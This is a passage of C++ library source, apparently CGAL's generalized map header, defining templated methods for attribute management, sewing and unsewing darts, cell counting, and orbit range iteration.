typename Attribute_handle<i>::type create_attribute(const T1 &t1, const T2 &t2) { CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0, "create_attribute<i> but i-attributes are disabled"); return CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (mattribute_containers).emplace(t1, t2); } template<unsigned int i, typename T1, typename T2, typename T3> typename Attribute_handle<i>::type create_attribute(const T1 &t1, const T2 &t2, const T3 &t3) { CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0, "create_attribute<i> but i-attributes are disabled"); return CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (mattribute_containers).emplace(t1, t2, t3); } template<unsigned int i, typename T1, typename T2, typename T3, typename T4> typename Attribute_handle<i>::type create_attribute(const T1 &t1, const T2 &t2, const T3 &t3, const T4 &t4) { CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0, "create_attribute<i> but i-attributes are disabled"); return CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (mattribute_containers).emplace(t1, t2, t3, t4); } template<unsigned int i, typename T1, typename T2, typename T3, typename T4, typename T5> typename Attribute_handle<i>::type create_attribute(const T1 &t1, const T2 &t2, const T3 &t3, const T4 &t4, const T5 &t5) { CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0, "create_attribute<i> but i-attributes are disabled"); return CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (mattribute_containers).emplace(t1, t2, t3, t4, t5); } template<unsigned int i, typename T1, typename T2, typename T3, typename T4, typename T5, typename T6> typename Attribute_handle<i>::type create_attribute(const T1 &t1, const T2 &t2, const T3 &t3, const T4 &t4, const T5 &t5, const T6 &t6) { CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0, "create_attribute<i> but i-attributes are disabled"); return CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (mattribute_containers).emplace(t1, t2, t3, t4, t5, t6); } template<unsigned int i, typename T1, typename T2, typename T3, typename T4, typename T5, typename T6, typename T7> typename Attribute_handle<i>::type create_attribute(const T1 &t1, const T2 &t2, const T3 &t3, const T4 &t4, const T5 &t5, const T6 &t6, const T7 &t7) { CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0, "create_attribute<i> but i-attributes are disabled"); return CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (mattribute_containers).emplace(t1, t2, t3, t4, t5, t6, t7); } template<unsigned int i, typename T1, typename T2, typename T3, typename T4, typename T5, typename T6, typename T7, typename T8> typename Attribute_handle<i>::type create_attribute(const T1 &t1, const T2 &t2, const T3 &t3, const T4 &t4, const T5 &t5, const T6 &t6, const T7 &t7, const T8 &t8) { CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0, "create_attribute<i> but i-attributes are disabled"); return CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (mattribute_containers).emplace(t1, t2, t3, t4, t5, t6, t7, t8); } template<unsigned int i, typename T1, typename T2, typename T3, typename T4, typename T5, typename T6, typename T7, typename T8, typename T9> typename Attribute_handle<i>::type create_attribute(const T1 &t1, const T2 &t2, const T3 &t3, const T4 &t4, const T5 &t5, const T6 &t6, const T7 &t7, const T8 &t8, const T9 &t9) { CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0, "create_attribute<i> but i-attributes are disabled"); return CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (mattribute_containers).emplace(t1, t2, t3, t4, t5, t6, t7, t8, t9); } #endif /// Erase an attribute. /// @param h a handle to the attribute to erase. template<unsigned int i> void erase_attribute(typename Attribute_handle<i>::type h) { CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0, "erase_attribute<i> but i-attributes are disabled"); CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (mattribute_containers).erase(h); } /// @return true if ah points to a used i-attribute (i.e. valid). template<unsigned int i> bool is_attribute_used(typename Attribute_const_handle< i >::type ah) const { CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0, "is_attribute_used<i> but i-attributes are disabled"); return CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (mattribute_containers).is_used(ah); } /// @return the number of attributes. template <unsigned int i> size_type number_of_attributes() const { CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0, "number_of_attributes<i> but i-attributes are disabled"); return CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (mattribute_containers).size(); } /** Set the i th attribute of all the darts of a given i-cell. * @param adart a dart of the i-cell. * @param ah the vertex to set. */ template<unsigned int i> void set_attribute(Dart_handle dh, typename Attribute_handle<i>::type ah) { CGAL_static_assertion(i<=dimension); CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0, "set_attribute<i> but i-attributes are disabled"); for ( typename Dart_of_cell_range<i>::iterator it(*this, dh); it.cont(); ++it) { this->template set_dart_attribute<i>(it, ah); } } /// @return a Attributes_range<i> (range through all the /// attributes<i> of the map). template<unsigned int i> typename Attribute_range<i>::type & attributes() { CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0, "attributes<i> but i-attributes are disabled"); return CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (mattribute_containers); } template<unsigned int i> typename Attribute_const_range<i>::type & attributes() const { CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0, "attributes<i> but i-attributes are disabled"); return CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (mattribute_containers); } // Get the ith dynamic onsplit functor (by reference so that we can // modify it directly). template<int i> boost::function<void(typename Attribute_type<i>::type&, typename Attribute_type<i>::type&)>& onsplit_functor() { CGAL_static_assertion_msg (Helper::template Dimension_index<i>::value>=0, "onsplit_functor<i> but " "i-attributes are disabled"); return CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (m_onsplit_functors); } // Get the ith dynamic onsplit functor (by reference so that we can // modify it directly). template<int i> const boost::function<void(typename Attribute_type<i>::type&, typename Attribute_type<i>::type&)>& onsplit_functor() const { CGAL_static_assertion_msg (Helper::template Dimension_index<i>::value>=0, "onsplit_functor<i> but " "i-attributes are disabled"); return CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (m_onsplit_functors); } // Get the ith dynamic onmerge functor (by reference so that we can // modify it directly). template<int i> boost::function<void(typename Attribute_type<i>::type&, typename Attribute_type<i>::type&)>& onmerge_functor() { CGAL_static_assertion_msg (Helper::template Dimension_index<i>::value>=0, "onsplit_functor<i> but " "i-attributes are disabled"); return CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (m_onmerge_functors); } // Get the ith dynamic onmerge functor (by reference so that we can // modify it directly). template<int i> const boost::function<void(typename Attribute_type<i>::type&, typename Attribute_type<i>::type&)>& onmerge_functor() const { CGAL_static_assertion_msg (Helper::template Dimension_index<i>::value>=0, "onsplit_functor<i> but " "i-attributes are disabled"); return CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (m_onmerge_functors); } /** Double link a dart with alpha i to a second dart. * \em adart1 is i-linked to \em adart2 and \em adart2 is i-linked * with \em adart1. Attributes are not updated, thus we can obtain * a non-valid map with darts belonging to a same orbit and having * different attributes. * @param adart1 a first dart. * @param adart2 a second dart. * @param i the dimension of the alpha. */ template<unsigned int i> void basic_link_alpha(Dart_handle dart1, Dart_handle dart2) { CGAL_assertion( i<=dimension ); this->template dart_link_alpha<i>(dart1, dart2); this->template dart_link_alpha<i>(dart2, dart1); } void basic_link_alpha(Dart_handle dart1, Dart_handle dart2, unsigned int i) { CGAL_assertion( i<=dimension ); dart_link_alpha(dart1, dart2, i); dart_link_alpha(dart2, dart1, i); } /** Double link two darts, and update the NULL attributes. * \em adart1 is i-linked to \em adart2 and \em adart2 is i-linked * with \em adart1. The NULL attributes of \em adart1 are updated to * non NULL attributes associated to \em adart2, and vice-versa. * If both darts have an attribute, the attribute of adart1 is * associated to adart2. * We can obtain a non-valid map with darts belonging to a same cell * and having different attributes. * @param adart1 a first dart. * @param adart2 a second dart. * @param i the dimension of the alpha. * @pre i<=dimension. */ template<unsigned int i> void link_alpha(Dart_handle adart1, Dart_handle adart2) { CGAL_assertion( i<=dimension ); Helper::template Foreach_enabled_attributes_except <internal::GMap_group_attribute_functor_of_dart<Self, i>, i>:: run(*this,adart1,adart2); this->template dart_link_alpha<i>(adart1, adart2); this->template dart_link_alpha<i>(adart2, adart1); } /** Double link a dart with alphai to a second dart. * \em adart1 is i-linked to \em adart2 and \em adart2 is i^-1-linked * with \em adart1. The NULL attributes of \em adart1 are updated to * non NULL attributes associated to \em adart2, and vice-versa, * if both darts have an attribute, the attribute of adart1 is * associated to adart2 (only if update_attributes==true). * @param adart1 a first dart. * @param adart2 a second dart. * @param update_attributes a boolean to update the enabled attributes. * (deprecated, now we use are_attributes_automatically_managed()) */ template<unsigned int i> void link_alpha(Dart_handle adart1, Dart_handle adart2, bool update_attributes) { if ( update_attributes ) link_alpha<i>(adart1, adart2); else basic_link_alpha<i>(adart1, adart2); } /** Double unlink a dart with alpha i. * alphai(\em adart) is i-unlinked and \em adart is i-unlinked. * The attributes are not updated, thus we can obtain a non-valid map * with darts belonging to different orbits and having the same * attributes. * @param adart a dart. * @param i the dimension of the alpha. */ template<unsigned int i> void unlink_alpha(Dart_handle adart) { CGAL_assertion(!this->template is_free<i>(adart)); CGAL_assertion(i<=dimension); this->template dart_unlink_alpha<i>(alpha<i>(adart)); this->template dart_unlink_alpha<i>(adart); } void unlink_alpha(Dart_handle adart, unsigned int i) { CGAL_assertion(!is_free(adart,i)); CGAL_assertion(i<=dimension); dart_unlink_alpha(alpha(adart, i), i); dart_unlink_alpha(adart, i); } /** Test if it is possible to sew by alphai the two given darts * @param adart1 the first dart. * @param adart2 the second dart. * @return true iff \em adart1 can be i-sewn with \em adart2. */ template<unsigned int i> bool is_sewable(Dart_const_handle adart1, Dart_const_handle adart2) const { return CGAL::internal:: GMap_is_sewable_functor<Self, i>::run(*this, adart1, adart2); } /** Topological sew by alphai two given darts plus all the required darts * to satisfy the generalized map validity: but do not update attributes * thus the map can be non valid. * @param adart1 the first dart. * @param adart2 the second dart. * @pre i<=dimension. * @pre is_sewable<i>(adart1, adart2). */ template<unsigned int i> void topo_sew(Dart_handle adart1, Dart_handle adart2) { CGAL_assertion( i<=Self::dimension ); CGAL_assertion( (is_sewable<i>(adart1,adart2)) ); CGAL::GMap_dart_iterator_of_involution<Self,i> I1(*this, adart1); CGAL::GMap_dart_iterator_of_involution<Self,i> I2(*this, adart2); for ( ; I1.cont(); ++I1, ++I2 ) { basic_link_alpha<i>(I1, I2); } } /** Sew by alphai the two given darts plus all the required darts * to satisfy the generalized map validity, and updates enabled * attributes when necessary so that the final map is valid. * @param adart1 the first dart. * @param adart2 the second dart. * @pre is_sewable<i>(adart1, adart2). * @pre i<=dimension. * @post is_valid() */ template<unsigned int i> void sew(Dart_handle adart1, Dart_handle adart2) { CGAL_assertion( i<=dimension ); CGAL_assertion( (is_sewable<i>(adart1,adart2)) ); size_type amark=get_new_mark(); CGAL::GMap_dart_iterator_basic_of_involution<Self, i> I1(*this, adart1, amark); CGAL::GMap_dart_iterator_basic_of_involution<Self, i> I2(*this, adart2, amark); // This first loop do not modify the map, but only the attributes // (by calling when required the onmerge functors). for ( ; I1.cont(); ++I1, ++I2 ) { Helper::template Foreach_enabled_attributes_except <CGAL::internal::GMap_group_attribute_functor<Self, i>, i>:: run(*this, I1, I2); } // Now we update the alpha links. negate_mark( amark ); for ( I1.rewind(), I2.rewind(); I1.cont(); ++I1, ++I2 ) { basic_link_alpha<i>(I1, I2); } negate_mark( amark ); CGAL_assertion( is_whole_map_unmarked(amark) ); free_mark(amark); } /** Sew by alphai the two given darts plus all the required darts * to satisfy the generalized map validity. Enabled attributes * are updated only if update_attributes==true. * @param adart1 the first dart. * @param adart2 the second dart. * @param update_attributes a boolean to update the enabled attributes * (deprecated, now we use are_attributes_automatically_managed()) * @pre is_sewable<i>(adart1, adart2). */ template<unsigned int i> void sew(Dart_handle adart1, Dart_handle adart2, bool update_attributes) { if ( update_attributes ) sew<i>(adart1, adart2); else topo_sew<i>(adart1, adart2); } /** Topological unsew by alphai the given dart plus all the required darts * to satisfy the generalized map validity: but do not update attributes * thus the map can be non valid * @param adart first dart. * @pre !adart->is_free(i). * @pre i<=dimension. */ template<unsigned int i> void topo_unsew(Dart_handle adart) { CGAL_assertion( !(is_free<i>(adart)) ); CGAL_assertion( i<=Self::dimension ); for ( CGAL::GMap_dart_iterator_of_involution<Self,i> it(*this, adart); it.cont(); ++it ) { unlink_alpha<i>(*it); } } /** Unsew by alphai the given dart plus all the required darts * to satisfy the generalized map validity, and update enabled * attributes when necessary so that the final map is valid. * @param adart first dart. * @pre !adart->is_free(i). * @post is_valid() * @pre i<=dimension */ template<unsigned int i> void unsew(Dart_handle adart) { CGAL_assertion(i<=Self::dimension); CGAL_assertion( !this->template is_free<i>(adart) ); std::deque<Dart_handle> modified_darts; for ( CGAL::GMap_dart_iterator_of_involution<Self, i> it(*this, adart); it.cont(); ++it ) { modified_darts.push_back(it); modified_darts.push_back(alpha<i>(it)); unlink_alpha<i>(it); } // We test the split of all the incident cells for all the non // void attributes. Helper::template Foreach_enabled_attributes_except <CGAL::internal::GMap_test_split_attribute_functor<Self, i>, i>:: run(*this, modified_darts); } /** Unsew by alphai the given dart plus all the required darts * to satisfy the generalized map validity. Enabled attributes * are updated only if update_attributes==true. * @param adart first dart. * @param update_attributes a boolean to update the enabled attributes * (deprecated, now we use are_attributes_automatically_managed()) * @pre !adart->is_free(i). */ template<unsigned int i> void unsew(Dart_handle adart, bool update_attributes) { if ( update_attributes ) unsew<i>(adart); else topo_unsew<i>(adart); } /** Count the marked cells (at least one marked dart). * @param amark the mark to consider. * @param avector containing the dimensions of the cells to count. * @return a vector containing the number of cells. */ std::vector<unsigned int> count_marked_cells(size_type amark, const std::vector<unsigned int>& acells) const { std::vector<unsigned int> res(dimension+2); std::vector<size_type> marks(dimension+2); // Initialization of the result for ( unsigned int i=0; i<dimension+2; ++i) { res[i]=0; marks[i]=INVALID_MARK; } // Mark reservation for ( unsigned int i=0; i<acells.size(); ++i) { CGAL_assertion(acells[i]<=dimension+1); if ( marks[acells[i]]==INVALID_MARK ) { marks[acells[i]] = get_new_mark(); assert(is_whole_map_unmarked(marks[acells[i]])); } } // Counting and marking cells for ( typename Dart_range::const_iterator it(darts().begin()), itend(darts().end()); it!=itend; ++it) { if ( is_marked(it, amark) ) { CGAL::internal::Foreach_static <CGAL::internal::Count_cell_functor<Self>,dimension+1>:: run(*this, it, marks, res); } } // Unmarking darts std::vector<size_type> tounmark; for ( unsigned int i=0; i<acells.size(); ++i) { if ( is_whole_map_marked(marks[acells[i]]) || is_whole_map_unmarked(marks[acells[i]])) { free_mark(marks[acells[i]]); } else { tounmark.push_back(marks[acells[i]]); } } if ( tounmark.size() > 0 ) { for ( typename Dart_range::const_iterator it(darts().begin()), itend(darts().end()); it!=itend; ++it) { for ( unsigned int i=0; i<tounmark.size(); ++i) unmark(it, tounmark[i]); } for ( unsigned int i=0; i<tounmark.size(); ++i) { CGAL_assertion(is_whole_map_unmarked(tounmark[i])); free_mark(tounmark[i]); } } return res; } /** Count the number of given cells * @param avector containing the dimensions of the cells to count. * @return a vector containing the number of cells. */ std::vector<unsigned int> count_cells(const std::vector<unsigned int>& acells) const { std::vector<unsigned int> res; size_type m = get_new_mark(); negate_mark(m); // We mark all the cells. res = count_marked_cells(m, acells); negate_mark(m); // We unmark the cells free_mark(m); return res; } /** Count the number of cells in each dimension. * @return a vector containing the number of cells. */ std::vector<unsigned int> count_all_cells() const { std::vector<unsigned int> dim(dimension+2); for ( unsigned int i=0; i<dimension+2; ++i) dim[i]=i; return count_cells(dim); } protected: /** Set simultaneously all the marks of a given dart. * @param adart the dart. * @param amarks the marks to set. */ void set_marks(Dart_const_handle adart, const std::bitset<NB_MARKS> & amarks) const { set_dart_marks(adart, amarks ^ mmask_marks); } /** Get simultaneously all the marks of a given dart. * @param adart the dart. * @return allt the marks of adart. */ std::bitset<NB_MARKS> get_marks(Dart_const_handle adart) const { return get_dart_marks(adart) ^ mmask_marks; } /** Get the mask associated to a given mark. * @param amark the mark. * @return the mask associated to mark amark. */ bool get_mask_mark(size_type amark) const { CGAL_assertion(amark>=0 && amark<NB_MARKS); return mmask_marks[amark]; } public: /** Erase marked darts from the map. * Marked darts are unlinked before to be removed, thus surviving darts * are correctly linked, but the map is not necessarily valid depending * on the configuration of removed darts. User must check carefully marked * darts before calling this method. * @param amark the mark of darts to erase. * @return the number of removed darts. */ unsigned int erase_marked_darts(size_type amark) { unsigned int res = 0, i = 0; Dart_handle d; for ( typename Dart_range::iterator it(darts().begin()), itend(darts().end()); it!=itend; ) { d = it++; if (is_marked(d, amark)) { for ( i = 0; i <= dimension; ++i) { if (!is_free(d, i)) unlink_beta(d, i); } erase_dart(d); ++res; } } return res; } #ifndef CGAL_CFG_NO_CPP0X_VARIADIC_TEMPLATES //************************************************************************** // Dart_of_orbit_basic_range template<unsigned int ... Alpha> struct Dart_of_orbit_basic_range : public CGAL::CMap_range <Self, CGAL::GMap_dart_iterator_basic_of_orbit<Self,Alpha...>, CGAL::GMap_dart_const_iterator_basic_of_orbit<Self,Alpha...> > { typedef CGAL::CMap_range <Self, CGAL::GMap_dart_iterator_basic_of_orbit<Self,Alpha...>, CGAL::GMap_dart_const_iterator_basic_of_orbit<Self,Alpha...> > Base; Dart_of_orbit_basic_range(Self &amap, Dart_handle adart, size_type amark=INVALID_MARK): Base(amap, adart, amark) {} }; //************************************************************************** // Dart_of_orbit_basic_const_range template<unsigned int ... Alpha> struct Dart_of_orbit_basic_const_range : public CGAL::CMap_const_range <Self, CGAL::GMap_dart_const_iterator_basic_of_orbit<Self,Alpha...> > { typedef CGAL::CMap_const_range <Self, CGAL::GMap_dart_const_iterator_basic_of_orbit<Self,Alpha...> > Base; Dart_of_orbit_basic_const_range(const Self &amap, Dart_const_handle adart, size_type amark=INVALID_MARK): Base(amap, adart, amark) {} }; //************************************************************************** // Dart_of_orbit_range template<unsigned int ... Alpha> struct Dart_of_orbit_range : public CGAL::CMap_range <Self, CGAL::GMap_dart_iterator_of_orbit<Self,Alpha...>, CGAL::GMap_dart_const_iterator_of_orbit<Self,Alpha...> > { typedef CGAL::CMap_range <Self, CGAL::GMap_dart_iterator_of_orbit<Self,Alpha...>, CGAL::GMap_dart_const_iterator_of_orbit<Self,Alpha...> > Base; Dart_of_orbit_range(Self &amap, Dart_handle adart) : Base(amap,adart) {} }; //************************************************************************** // Dart_of_orbit_const_range template<unsigned int ... Alpha> struct Dart_of_orbit_const_range : public CGAL::CMap_const_range <Self, CGAL::GMap_dart_const_iterator_of_orbit<Self,Alpha...> > { typedef CGAL::CMap_const_range <Self, CGAL::GMap_dart_const_iterator_of_orbit<Self,Alpha...> > Base; Dart_of_orbit_const_range(const Self &amap, Dart_const_handle adart): Base(amap,adart) {} }; //************************************************************************** /// @return a range on all the darts of the given orbit template<unsigned int ... Alpha> Dart_of_orbit_range<Alpha...> darts_of_orbit(Dart_handle adart) { return Dart_of_orbit_range<Alpha...>(*this,adart); } //-------------------------------------------------------------------------- template<unsigned int ... Alpha> Dart_of_orbit_const_range<Alpha...> darts_of_orbit(Dart_const_handle adart) const { return Dart_of_orbit_const_range<Alpha...>(*this,adart); } //-------------------------------------------------------------------------- template<unsigned int ... Alpha> Dart_of_orbit_basic_range<Alpha...> darts_of_orbit_basic(Dart_handle adart, size_type amark=INVALID_MARK) { return Dart_of_orbit_basic_range<Alpha...>(*this,adart,amark); } //-------------------------------------------------------------------------- template<unsigned int ... Alpha> Dart_of_orbit_basic_const_range<Alpha...> darts_of_orbit_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const { return Dart_of_orbit_basic_const_range<Alpha...>(*this,adart,amark); } //************************************************************************** #else //************************************************************************** // Dart_of_orbit_basic_range template<int B1=-1,int B2=-1,int B3=-1,int B4=-1,int B5=-1, int B6=-1,int B7=-1,int B8=-1,int B9=-1> struct Dart_of_orbit_basic_range: public CGAL::CMap_range <Self, CGAL::GMap_dart_iterator_basic_of_orbit<Self,B1,B2,B3,B4,B5,B6,B7, B8,B9>, CGAL::GMap_dart_const_iterator_basic_of_orbit<Self,B1,B2,B3,B4,B5,B6,B7, B8,B9> > { typedef CGAL::CMap_range <Self, CGAL::GMap_dart_iterator_basic_of_orbit<Self,B1,B2,B3,B4,B5,B6,B7, B8,B9>, CGAL::GMap_dart_const_iterator_basic_of_orbit<Self,B1,B2,B3,B4,B5, B6,B7,B8,B9> > Base; Dart_of_orbit_basic_range(Self &amap, Dart_handle adart, size_type /*amark*/=INVALID_MARK): Base(amap, adart) {} }; //************************************************************************** // Dart_of_orbit_basic_const_range template<int B1=-1,int B2=-1,int B3=-1,int B4=-1,int B5=-1, int B6=-1,int B7=-1,int B8=-1,int B9=-1> struct Dart_of_orbit_basic_const_range: public CMap_const_range <Self, CGAL::GMap_dart_const_iterator_basic_of_orbit<Self,B1,B2,B3,B4,B5,B6,B7, B8,B9> > { typedef CMap_const_range <Self, CGAL::GMap_dart_const_iterator_basic_of_orbit <Self,B1,B2,B3,B4,B5,B6,B7,B8,B9> > Base; Dart_of_orbit_basic_const_range(const Self &amap, Dart_const_handle adart, size_type amark=INVALID_MARK): Base(amap, adart, amark) {} }; //************************************************************************** // Dart_of_orbit_range template<int B1=-1,int B2=-1,int B3=-1,int B4=-1,int B5=-1, int B6=-1,int B7=-1,int B8=-1,int B9=-1> struct Dart_of_orbit_range: public CGAL::CMap_range <Self, CGAL::GMap_dart_iterator_of_orbit<Self,B1,B2,B3,B4,B5,B6,B7,B8,B9>, CGAL::GMap_dart_const_iterator_of_orbit<Self,B1,B2,B3,B4,B5,B6,B7,B8,B9> > { typedef CGAL::CMap_range <Self, CGAL::GMap_dart_iterator_of_orbit<Self,B1,B2,B3,B4,B5,B6,B7, B8,B9>, CGAL::GMap_dart_const_iterator_of_orbit<Self,B1,B2,B3,B4,B5,B6,B7, B8,B9> > Base; Dart_of_orbit_range(Self &amap, Dart_handle adart): Base(amap, adart) {} }; //************************************************************************** // Dart_of_orbit_const_range template<int B1=-1,int B2=-1,int B3=-1,int B4=-1,int B5=-1, int B6=-1,int B7=-1,int B8=-1,int B9=-1> struct Dart_of_orbit_const_range: public CMap_const_range <Self, CGAL::GMap_dart_const_iterator_of_orbit<Self,B1,B2,B3,B4,B5,B6,B7, B8,B9> > { typedef CMap_const_range <Self, CGAL::GMap_dart_const_iterator_of_orbit <Self,B1,B2,B3,B4,B5,B6,B7,B8,B9> > Base; Dart_of_orbit_const_range(const Self &amap, Dart_const_handle adart): Base(amap, adart) {} }; //************************************************************************** /// @return a range on all the darts of the given orbit Dart_of_orbit_range<> darts_of_orbit(Dart_handle adart) { return Dart_of_orbit_range<>(*this,adart); } //-------------------------------------------------------------------------- template <unsigned int B1> Dart_of_orbit_range<B1> darts_of_orbit(Dart_handle adart) { return Dart_of_orbit_range<B1>(*this,adart); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2> Dart_of_orbit_range<B1,B2> darts_of_orbit(Dart_handle adart) { return Dart_of_orbit_range<B1,B2>(*this,adart); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3> Dart_of_orbit_range<B1,B2,B3> darts_of_orbit(Dart_handle adart) { return Dart_of_orbit_range<B1,B2,B3>(*this,adart); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4> Dart_of_orbit_range<B1,B2,B3,B4> darts_of_orbit(Dart_handle adart) { return Dart_of_orbit_range<B1,B2,B3,B4>(*this,adart); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5> Dart_of_orbit_range<B1,B2,B3,B4,B5> darts_of_orbit(Dart_handle adart) { return Dart_of_orbit_range<B1,B2,B3,B4,B5>(*this,adart); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5,unsigned int B6> Dart_of_orbit_range<B1,B2,B3,B4,B5,B6> darts_of_orbit(Dart_handle adart) { return Dart_of_orbit_range<B1,B2,B3,B4,B5,B6>(*this,adart); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5,unsigned int B6,unsigned int B7> Dart_of_orbit_range<B1,B2,B3,B4,B5,B6,B7> darts_of_orbit(Dart_handle adart) { return Dart_of_orbit_range<B1,B2,B3,B4,B5,B6,B7>(*this,adart); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5,unsigned int B6,unsigned int B7,unsigned int B8> Dart_of_orbit_range<B1,B2,B3,B4,B5,B6,B7,B8> darts_of_orbit (Dart_handle adart) { return Dart_of_orbit_range<B1,B2,B3,B4,B5,B6,B7,B8>(*this,adart); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5,unsigned int B6,unsigned int B7,unsigned int B8, unsigned int B9> Dart_of_orbit_range<B1,B2,B3,B4,B5,B6,B7,B8,B9> darts_of_orbit(Dart_handle adart) { return Dart_of_orbit_range<B1,B2,B3,B4,B5,B6,B7,B8,B9>(*this,adart); } //-------------------------------------------------------------------------- // Const versions. Dart_of_orbit_const_range<> darts_of_orbit(Dart_const_handle adart) const { return Dart_of_orbit_const_range<>(*this,adart); } //-------------------------------------------------------------------------- template <unsigned int B1> Dart_of_orbit_const_range<B1> darts_of_orbit(Dart_const_handle adart) const { return Dart_of_orbit_const_range<B1>(*this,adart); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2> Dart_of_orbit_const_range<B1,B2> darts_of_orbit(Dart_const_handle adart) const { return Dart_of_orbit_const_range<B1,B2>(*this,adart); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3> Dart_of_orbit_const_range<B1,B2,B3> darts_of_orbit (Dart_const_handle adart) const { return Dart_of_orbit_const_range<B1,B2,B3>(*this,adart); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4> Dart_of_orbit_const_range<B1,B2,B3,B4> darts_of_orbit(Dart_const_handle adart) const { return Dart_of_orbit_const_range<B1,B2,B3,B4>(*this,adart); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5> Dart_of_orbit_const_range<B1,B2,B3,B4,B5> darts_of_orbit(Dart_const_handle adart) const { return Dart_of_orbit_const_range<B1,B2,B3,B4,B5>(*this,adart); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5,unsigned int B6> Dart_of_orbit_const_range<B1,B2,B3,B4,B5,B6> darts_of_orbit(Dart_const_handle adart) const { return Dart_of_orbit_const_range<B1,B2,B3,B4,B5,B6>(*this,adart); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5,unsigned int B6,unsigned int B7> Dart_of_orbit_const_range<B1,B2,B3,B4,B5,B6,B7> darts_of_orbit(Dart_const_handle adart) const { return Dart_of_orbit_const_range<B1,B2,B3,B4,B5,B6,B7>(*this,adart); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5,unsigned int B6,unsigned int B7,unsigned int B8> Dart_of_orbit_const_range<B1,B2,B3,B4,B5,B6,B7,B8> darts_of_orbit(Dart_const_handle adart) const { return Dart_of_orbit_const_range<B1,B2,B3,B4,B5,B6,B7,B8>(*this,adart); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5,unsigned int B6,unsigned int B7,unsigned int B8, unsigned int B9> Dart_of_orbit_const_range<B1,B2,B3,B4,B5,B6,B7,B8,B9> darts_of_orbit(Dart_const_handle adart) const { return Dart_of_orbit_const_range<B1,B2,B3,B4,B5,B6,B7,B8,B9> (*this,adart); } //-------------------------------------------------------------------------- // Basic versions Dart_of_orbit_basic_range<> darts_of_orbit_basic(Dart_handle adart, size_type amark=INVALID_MARK) { return Dart_of_orbit_basic_range<>(*this,adart,amark); } //-------------------------------------------------------------------------- Dart_of_orbit_basic_const_range<> darts_of_orbit_basic (Dart_const_handle adart,size_type amark=INVALID_MARK) const { return Dart_of_orbit_basic_const_range<>(*this,adart,amark); } //-------------------------------------------------------------------------- template <unsigned int B1> Dart_of_orbit_basic_range<B1> darts_of_orbit_basic(Dart_handle adart, size_type amark=INVALID_MARK) { return Dart_of_orbit_basic_range<B1>(*this,adart,amark); } //-------------------------------------------------------------------------- template <unsigned int B1> Dart_of_orbit_basic_const_range<B1> darts_of_orbit_basic (Dart_const_handle adart, size_type amark=INVALID_MARK) const { return Dart_of_orbit_basic_const_range<B1>(*this,adart,amark); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2> Dart_of_orbit_basic_range<B1,B2> darts_of_orbit_basic(Dart_handle adart, size_type amark=INVALID_MARK) { return Dart_of_orbit_basic_range<B1,B2>(*this,adart,amark); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2> Dart_of_orbit_basic_const_range<B1,B2> darts_of_orbit_basic (Dart_const_handle adart, size_type amark=INVALID_MARK) const { return Dart_of_orbit_basic_const_range<B1,B2>(*this,adart,amark); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3> Dart_of_orbit_basic_range<B1,B2,B3> darts_of_orbit_basic(Dart_handle adart, size_type amark=INVALID_MARK) { return Dart_of_orbit_basic_range<B1,B2,B3>(*this,adart,amark); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3> 